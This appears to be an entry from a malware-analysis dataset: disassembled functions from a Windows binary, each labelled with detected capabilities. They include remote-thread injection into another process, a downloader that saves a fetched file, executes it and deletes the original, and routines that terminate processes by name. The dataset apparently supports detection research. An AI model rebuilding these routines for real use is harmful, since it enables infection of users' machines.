joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414fa0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff74
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004049b4
xor eax, eax
push ebp
push 0x41503c
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
call fcn.00404a1c
mov edx, eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x414fdd
sub eax, 4
mov eax, dword [eax]
lea ecx, [ebp - 0x8c]
xchg edx, ecx
xchg ecx, eax
call fcn.00402f94
mov eax, dword [ebp - 4]
test eax, eax
je 0x414ff7
sub eax, 4
mov eax, dword [eax]
mov byte [ebp + eax - 0x8c], 0
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x8c]
push eax
push 0x414c80
call sub.user32.dll_EnumWindows
mov eax, dword [ebp - 0xc]
test eax, eax
jbe 0x415026
lea edx, [ebp - 8]
push edx
push eax
call sub.user32.dll_GetWindowThreadProcessId
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x415043
lea eax, [ebp - 4]
call fcn.00404558
ret

Function at 0x415354
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004049b4
xor eax, eax
push ebp
push 0x415454
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
push ebx
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
test ebx, ebx
je 0x41543e
mov edi, dword [ebp - 4]
mov eax, edi
test eax, eax
je 0x4153a1
sub eax, 4
mov eax, dword [eax]
add eax, eax
inc eax
call fcn.00402dd8
mov esi, eax
mov eax, edi
test eax, eax
je 0x4153b6
sub eax, 4
mov eax, dword [eax]
mov ecx, eax
add ecx, ecx
inc ecx
mov edx, esi
mov eax, dword [ebp - 4]
call fcn.004053b0
push esi
call sub.kernel32.dll_lstrlenW
inc eax
mov edi, eax
add edi, edi
push 0x40
push 0x3000
push edi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push edi
push esi
mov eax, dword [ebp - 0xc]
push eax
push ebx
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x415431
push 0x415468
push 0x415478
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress_1
xor edx, edx
mov dword [ebp - 0x10], edx
lea edx, [ebp - 0x10]
push edx
push 0
mov edx, dword [ebp - 0xc]
push edx
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
test eax, eax
setne byte [ebp - 5]
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, esi
call fcn.00402df4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41545b
lea eax, [ebp - 4]
call fcn.00404558
ret
Function at 0x4157c0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x41585c
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0xc]
mov edx, 0x415870
mov eax, 0x415880
call fcn.004151c8
push dword [ebp - 0xc]
push 0x4158a4
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x10]
call fcn.00407a94
push dword [ebp - 0x10]
push 0x4158bc
lea eax, [ebp - 8]
mov edx, 4
call fcn.004048c8
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.00415518
push ebx
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov ebx, eax
cmp ebx, 0x20
jbe 0x415841
push 0
push ebx
call sub.kernel32.dll_TerminateProcess
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x415863
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.0040457c
ret

Function at 0x415cec
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7fc
push ebx
xor edx, edx
mov dword [ebp - 0x804], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x415d5b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x800
lea eax, [ebp - 0x800]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea edx, [ebp - 0x804]
lea eax, [ebp - 0x800]
call fcn.00408398
mov edx, dword [ebp - 0x804]
mov eax, ebx
mov ecx, 0x415d70
call fcn.0040484c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x415d62
lea eax, [ebp - 0x804]
call fcn.00404558
ret

Function at 0x415d74
Capabilities:
Get hostname

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
mov dword [esp], pe_nt_image_headers32
push esp
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_GetComputerNameA
test eax, eax
je 0x415da5
mov eax, ebx
lea edx, [esp + 4]
mov ecx, pe_nt_image_headers32
call fcn.004047c8
jmp 0x415dac
mov eax, ebx
call fcn.00404558
add esp, 0x104
pop ebx
ret
Function at 0x416c7c
Capabilities:
Create http request
Delete file
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x824], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
mov ebx, eax
mov esi, 0x421a2c
xor eax, eax
push ebp
push 0x416e58
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
xor edi, edi
push 0
push 0
push 0
push 0
push 0x416e6c
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x416e37
push 0
push 0x80000000
push 0
push 0
lea edx, [ebp - 0x824]
mov eax, ebx
call fcn.00406100
mov eax, dword [ebp - 0x824]
call fcn.004049c4
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov ebx, eax
test ebx, ebx
jne 0x416d11
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
jmp 0x416e37
cmp dword [ebp - 8], 0
jne 0x416d90
mov eax, esi
call fcn.00404558
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0x20000013
push ebx
call sub.wininet.dll_HttpQueryInfoA
lea eax, [ebp - 0x14]
push eax
push 0x400
lea eax, [ebp - 0x820]
push eax
push ebx
call sub.wininet.dll_InternetReadFile
lea edx, [ebp - 0x820]
lea eax, [ebp - 4]
mov ecx, dword [ebp - 0x14]
call fcn.00404648
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00404800
cmp dword [ebp - 0x14], 0
jne 0x416d35
mov edx, esi
mov eax, dword [esi]
call fcn.00406150
cmp dword [esi], 0
setne byte [ebp - 9]
push ebx
call sub.wininet.dll_InternetCloseHandle
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
jmp 0x416e37
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp - 8]
call fcn.004049c4
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
jne 0x416dc8
push ebx
call sub.wininet.dll_InternetCloseHandle
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
jmp 0x416e37
lea eax, [ebp - 0x14]
push eax
push 0x400
lea eax, [ebp - 0x420]
push eax
push ebx
call sub.wininet.dll_InternetReadFile
cmp dword [ebp - 0x14], 0
je 0x416e04
push 0
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
push eax
lea eax, [ebp - 0x420]
push eax
push esi
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x416e04
add edi, dword [ebp - 0x18]
jmp 0x416dc8
push esi
call sub.kernel32.dll_CloseHandle
push ebx
call sub.wininet.dll_InternetCloseHandle
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
cmp edi, 0xc350
seta byte [ebp - 9]
cmp byte [ebp - 9], 0
jne 0x416e37
mov eax, dword [ebp - 8]
call fcn.004049c4
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x416e5f
lea eax, [ebp - 0x824]
call fcn.00404558
lea eax, [ebp - 4]
call fcn.00404558
ret
Function at 0x417060
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
add esp, 0xfffffff8
call fcn.0041548c
test eax, eax
je 0x417099
mov dword [esp], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, esp
push eax
push 0x416e70
call sub.user32.dll_EnumWindows
cmp dword [esp + 4], 0
seta bl
test bl, bl
je 0x417099
mov dword [0x421a38], 0xa
mov eax, ebx
pop ecx
pop edx
pop ebx
ret

Function at 0x4171e8
Capabilities:
Enumerate gui resources

Disassembly:
add esp, 0xfffffff8
xor eax, eax
mov dword [esp], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, esp
push eax
push 0x4170a0
call sub.user32.dll_EnumWindows
cmp dword [esp + 4], 0
seta al
test al, al
je 0x417219
mov dword [0x421a38], 0xb
pop ecx
pop edx
ret
Function at 0x417a04
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push ebx
push esi
push edi
mov byte [ebp - 1], 0
xor eax, eax
mov dword [ebp - 0xc], eax
call fcn.0041548c
mov ebx, eax
test ebx, ebx
je 0x417b97
call sub.kernel32.dll_GetCurrentProcessId
cmp ebx, eax
jne 0x417a38
call sub.kernel32.dll_GetCurrentProcess
mov dword [ebp - 0x14], eax
jmp 0x417a48
push ebx
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x38]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, dword [ebp - 0x30]
jmp 0x417b76
cmp dword [ebp - 0x4c], 0x80
jne 0x417b6a
cmp dword [ebp - 0x44], 0x1000
jne 0x417b6a
cmp dword [ebp - 0x40], 0x40
jne 0x417b6a
cmp dword [ebp - 0x3c], 0x1000000
jne 0x417b6a
cmp dword [ebp - 0x48], 0x400000
jbe 0x417b6a
mov eax, dword [ebp - 0x48]
push eax
mov eax, 0x421a54
mov ecx, 1
mov edx, dword [0x4179e4]
call fcn.004055d0
add esp, 4
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x48]
push eax
mov eax, dword [0x421a54]
push eax
push ebx
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_ReadProcessMemory
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x417b5b
mov eax, dword [0x421a54]
mov edx, dword [ebp - 0x10]
lea ebx, [eax + edx]
xor eax, eax
push ebp
push 0x417b42
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebx], 0x30168
jne 0x417b38
lea eax, [ebx + 4]
cmp dword [eax], 0x68006a80
jne 0x417b38
lea eax, [ebx + 8]
cmp dword [eax], 0x32
jne 0x417b38
lea eax, [ebx + 0xc]
cmp dword [eax], 0x168
jne 0x417b38
lea eax, [ebx + 0x10]
cmp dword [eax], 0x1cbb00
jne 0x417b38
lea eax, [ebx + 0x14]
cmp dword [eax], 0x1b80000
jne 0x417b38
add ebx, 0x18
cmp dword [ebx], 0xe8000000
jne 0x417b38
inc dword [ebp - 0xc]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x417b4c
cmp dword [ebp - 0xc], 0xa
jle 0x417b58
mov byte [ebp - 1], 1
jmp 0x417b6a
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
sub eax, 0x40
cmp eax, dword [ebp - 0x10]
ja 0x417ad5
cmp byte [ebp - 1], 0
jne 0x417b8e
mov ebx, dword [ebp - 0x48]
add ebx, dword [ebp - 0x54]
push 0x1c
lea eax, [ebp - 0x54]
push eax
push ebx
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_VirtualQueryEx
test eax, eax
jne 0x417a59
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x417ba4
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
mov eax, dword [ebp + 8]
add eax, 0xfffffffc
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x10]
call fcn.004049c4
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov edx, dword [ebp + 8]
mov dword [edx - 0x14], eax
mov eax, dword [ebp + 8]
cmp dword [eax - 0x14], 0
jle 0x417c39
mov eax, dword [ebp + 8]
mov edx, dword [eax - 0x14]
mov eax, dword [ebp + 8]
add eax, 0xfffffff8
call fcn.00404ba8
mov eax, dword [ebp + 8]
mov eax, dword [eax - 8]
call fcn.004049c4
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x14]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x10]
call fcn.004049c4
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x417c39
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
add eax, 0xfffffff4
push eax
push 0x417c40
mov eax, dword [ebp + 8]
mov eax, dword [eax - 8]
call fcn.004049c4
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x417c39
mov bl, 1
mov eax, ebx
pop ebx
pop ecx
pop ebp
ret

Function at 0x417e1c
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd44
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x29c], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004049b4
xor eax, eax
push ebp
push 0x417fb4
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
mov eax, 0x417fd0
call fcn.00404a64
mov ebx, eax
test ebx, ebx
jle 0x417e71
lea eax, [ebp - 4]
push eax
lea edx, [ebx + 2]
mov ecx, 0x7fffffff
mov eax, dword [ebp - 4]
call fcn.00404a24
mov edx, dword [ebp - 4]
mov eax, 0x417fdc
call fcn.00404a64
mov ebx, eax
test ebx, ebx
jle 0x417e98
lea eax, [ebp - 4]
push eax
mov ecx, ebx
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00404a24
lea eax, [ebp - 0x198]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
xor ecx, ecx
push ebp
push 0x417f8c
push dword fs:[ecx]
mov dword fs:[ecx], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x298]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x298]
mov edx, dword [ebp - 4]
call fcn.004082c4
lea eax, [ebp - 0x298]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x417f75
mov edx, dword [eax + 0xc]
test edx, edx
je 0x417f6f
mov ebx, dword [edx]
test ebx, ebx
je 0x417f69
lea eax, [ebp - 0x29c]
push eax
movzx eax, byte [ebx]
mov dword [ebp - 0x2bc], eax
mov byte [ebp - 0x2b8], 0
movzx eax, byte [ebx + 1]
mov dword [ebp - 0x2b4], eax
mov byte [ebp - 0x2b0], 0
movzx eax, byte [ebx + 2]
mov dword [ebp - 0x2ac], eax
mov byte [ebp - 0x2a8], 0
movzx eax, byte [ebx + 3]
mov dword [ebp - 0x2a4], eax
mov byte [ebp - 0x2a0], 0
lea edx, [ebp - 0x2bc]
mov ecx, 3
mov eax, 0x417fe8
call fcn.0040882c
mov edx, dword [ebp - 0x29c]
mov eax, esi
call fcn.004045ac
mov byte [ebp - 5], 1
jmp 0x417f79
mov byte [ebp - 5], 0
jmp 0x417f79
mov byte [ebp - 5], 0
jmp 0x417f79
mov byte [ebp - 5], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x417f93
call sub.wsock32.dll_WSACleanup
ret
Function at 0x4189e8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2b
push 0
push 0
dec ecx
jne 0x4189f0
push ecx
push ebx
push esi
push edi
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x418c8e
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x130]
mov edx, 0x418ca4
mov eax, 0x418cb4
call fcn.004151c8
mov edx, dword [ebp - 0x130]
mov eax, 0x421a58
call fcn.004045ac
lea ecx, [ebp - 0x134]
mov edx, 0x418ca4
mov eax, 0x418cf4
call fcn.004151c8
mov edx, dword [ebp - 0x134]
mov eax, 0x421a5c
call fcn.004045ac
lea ecx, [ebp - 0x138]
mov edx, 0x418ca4
mov eax, 0x418d30
call fcn.004151c8
mov edx, dword [ebp - 0x138]
mov eax, 0x421a60
call fcn.004045ac
lea ecx, [ebp - 0x13c]
mov edx, 0x418ca4
mov eax, 0x418d64
call fcn.004151c8
mov edx, dword [ebp - 0x13c]
mov eax, 0x421a64
call fcn.004045ac
lea ecx, [ebp - 0x140]
mov edx, 0x418ca4
mov eax, 0x418d8c
call fcn.004151c8
mov edx, dword [ebp - 0x140]
mov eax, 0x421a68
call fcn.004045ac
lea ecx, [ebp - 0x144]
mov edx, 0x418ca4
mov eax, 0x418dc4
call fcn.004151c8
mov edx, dword [ebp - 0x144]
mov eax, 0x421a6c
call fcn.004045ac
xor edx, edx
mov eax, 2
call fcn.00413db4
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x418c69
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [edi], 0x128
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.00413dd4
mov ebx, eax
jmp 0x418c4a
lea eax, [ebp - 0x148]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004047c8
mov eax, dword [ebp - 0x148]
mov edx, dword [0x421a58]
call fcn.00407868
test al, al
jne 0x418c19
lea eax, [ebp - 0x14c]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004047c8
mov eax, dword [ebp - 0x14c]
mov edx, dword [0x421a5c]
call fcn.00407868
test al, al
jne 0x418c19
lea eax, [ebp - 0x150]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004047c8
mov eax, dword [ebp - 0x150]
mov edx, dword [0x421a60]
call fcn.00407868
test al, al
jne 0x418c19
lea eax, [ebp - 0x154]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004047c8
mov eax, dword [ebp - 0x154]
mov edx, dword [0x421a64]
call fcn.00407868
test al, al
jne 0x418c19
lea eax, [ebp - 0x158]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004047c8
mov eax, dword [ebp - 0x158]
mov edx, dword [0x421a68]
call fcn.00407868
test al, al
jne 0x418c19
lea eax, [ebp - 0x15c]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.004047c8
mov eax, dword [ebp - 0x15c]
mov edx, dword [0x421a6c]
call fcn.00407868
test al, al
je 0x418c3e
mov eax, dword [edi + 8]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov esi, eax
cmp esi, 0x20
jbe 0x418c3e
push 0
push esi
call sub.kernel32.dll_TerminateProcess
push esi
call sub.kernel32.dll_CloseHandle
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.00413df4
mov ebx, eax
test ebx, ebx
jne 0x418b21
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x418c70
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle
ret
Function at 0x418df0
Capabilities:
Copy file
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x418df8
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x419068
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
lea ecx, [ebp - 0x10]
mov edx, 0x419084
mov eax, 0x419094
call fcn.004151c8
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
call fcn.00415cec
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 4]
pop ecx
call fcn.0040484c
mov eax, dword [ebp - 4]
call fcn.00407e84
test al, al
je 0x418e5b
mov eax, dword [ebp - 4]
call fcn.004049c4
push eax
call sub.kernel32.dll_DeleteFileA
dec ebx
je 0x418e7a
dec ebx
je 0x418e66
dec ebx
je 0x418e7a
jmp 0x418e8e
lea ecx, [ebp - 8]
mov edx, 0x419084
mov eax, 0x4190c4
call fcn.004151c8
jmp 0x418ec2
lea ecx, [ebp - 8]
mov edx, 0x419084
mov eax, 0x4190f4
call fcn.004151c8
jmp 0x418ec2
lea ecx, [ebp - 0x18]
mov edx, 0x419084
mov eax, 0x41911c
call fcn.004151c8
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 8]
call fcn.00417e1c
cmp dword [ebp - 8], 0
je 0x419040
lea eax, [ebp - 8]
mov edx, 0x41914c
call fcn.00404800
xor eax, eax
push ebp
push 0x419036
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x41915c
push dword [ebp - 8]
push 0x41916c
lea ecx, [ebp - 0x1c]
mov edx, 0x419084
mov eax, 0x419178
call fcn.004151c8
push dword [ebp - 0x1c]
push 0x41916c
lea eax, [ebp - 8]
mov edx, 5
call fcn.004048c8
lea ecx, [ebp - 0x20]
mov edx, 0x419084
mov eax, 0x41919c
call fcn.004151c8
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 8]
call fcn.00404800
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.00416c7c
test al, al
je 0x41902c
call fcn.004189e8
call fcn.004031f0
mov eax, 6
call fcn.00403218
cmp eax, 5
ja case.default.0x418f4d
jmp dword [eax*4 + 0x418f54]
lea eax, [ebp - 8]
mov edx, dword [0x421a58]
call fcn.004045f0
jmp case.default.0x418f4d
lea eax, [ebp - 8]
mov edx, dword [0x421a60]
call fcn.004045f0
jmp case.default.0x418f4d
lea eax, [ebp - 8]
mov edx, dword [0x421a5c]
call fcn.004045f0
jmp case.default.0x418f4d
lea eax, [ebp - 8]
mov edx, dword [0x421a64]
call fcn.004045f0
jmp case.default.0x418f4d
lea eax, [ebp - 8]
mov edx, dword [0x421a68]
call fcn.004045f0
jmp case.default.0x418f4d
lea eax, [ebp - 8]
mov edx, dword [0x421a6c]
call fcn.004045f0
lea eax, [ebp - 0x24]
call fcn.00415cec
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 8]
mov ecx, dword [ebp - 8]
call fcn.0040484c
push 0
mov eax, dword [ebp - 8]
call fcn.004049c4
push eax
mov eax, dword [ebp - 4]
call fcn.004049c4
mov ebx, eax
push ebx
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebp - 8]
call fcn.00407e84
test al, al
je 0x419028
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004049c4
push eax
push 0x4191bc
push 0
call sub.shell32.dll_ShellExecuteA
push ebx
call sub.kernel32.dll_DeleteFileA
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x419040
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41906f
lea eax, [ebp - 0x24]
mov edx, 6
call fcn.0040457c
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040457c
ret
Function at 0x41a3c0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
xor edx, edx
mov dword [ebp - 0x24], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x41a436
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1e]
xor ecx, ecx
mov edx, 0x1e
call fcn.00403338
xor eax, eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], 3
lea eax, [ebp - 0x24]
mov ecx, 0x41a44c
mov edx, ebx
call fcn.0040484c
mov eax, dword [ebp - 0x24]
call fcn.004049c4
mov dword [ebp - 0x16], eax
mov word [ebp - 0xe], 0x414
lea eax, [ebp - 0x1e]
push eax
call sub.shell32.dll_SHFileOperationA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41a43d
lea eax, [ebp - 0x24]
call fcn.00404558
ret

Function at 0x41a848
Capabilities:
Create thread
Set global application hook

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
xor eax, eax
push ebp
push 0x41aa00
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x421a24
call fcn.00404558
mov eax, 0x421a28
call fcn.00404558
mov byte [0x421a34], 0
xor eax, eax
mov dword [0x421a38], eax
mov byte [0x421a4c], 0
call sub.kernel32.dll_GetTickCount_1
mov dword [0x421a48], eax
call sub.kernel32.dll_GetTickCount_1
mov dword [0x421a84], eax
mov byte [0x421a4d], 1
mov byte [0x421a4e], 0
mov byte [0x421a4f], 0
mov byte [0x421a50], 0
call sub.kernel32.dll_GetCurrentProcessId
xor edx, edx
push edx
push eax
lea edx, [ebp - 8]
mov eax, 8
call fcn.00407ae4
mov ecx, dword [ebp - 8]
lea eax, [ebp - 4]
mov edx, 0x41aa14
call fcn.0040484c
mov eax, dword [ebp - 4]
call fcn.004049c4
push eax
push 0
push 0
call fcn.00406724
mov ebx, eax
test ebx, ebx
jbe 0x41a910
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
setne byte [0x421a4d]
push ebx
call sub.kernel32.dll_CloseHandle
call sub.kernel32.dll_GetCurrentProcessId
call fcn.00417dbc
mov ebx, eax
mov eax, ebx
xor edx, edx
push edx
push eax
lea edx, [ebp - 0x10]
mov eax, 8
call fcn.00407ae4
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 0x41aa28
call fcn.0040484c
mov eax, dword [ebp - 0xc]
call fcn.004049c4
push eax
push 0
push 0
call fcn.00406724
mov ebx, eax
test ebx, ebx
jbe 0x41a96e
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
sete byte [0x421a4e]
push ebx
call sub.kernel32.dll_CloseHandle
push 0x421a40
push 0
push 0
push 0x41a478
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x421a3c], eax
cmp byte [0x421a4e], 0
jne 0x41a9e5
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x41a7bc
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x421a80], eax
call sub.kernel32.dll_GetCurrentProcessId
xor edx, edx
push edx
push eax
lea edx, [ebp - 0x18]
mov eax, 8
call fcn.00407ae4
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 0x41aa28
call fcn.0040484c
mov eax, dword [ebp - 0x14]
call fcn.004049c4
push eax
push 0
push 0
call fcn.00406724
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41aa07
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.0040457c
ret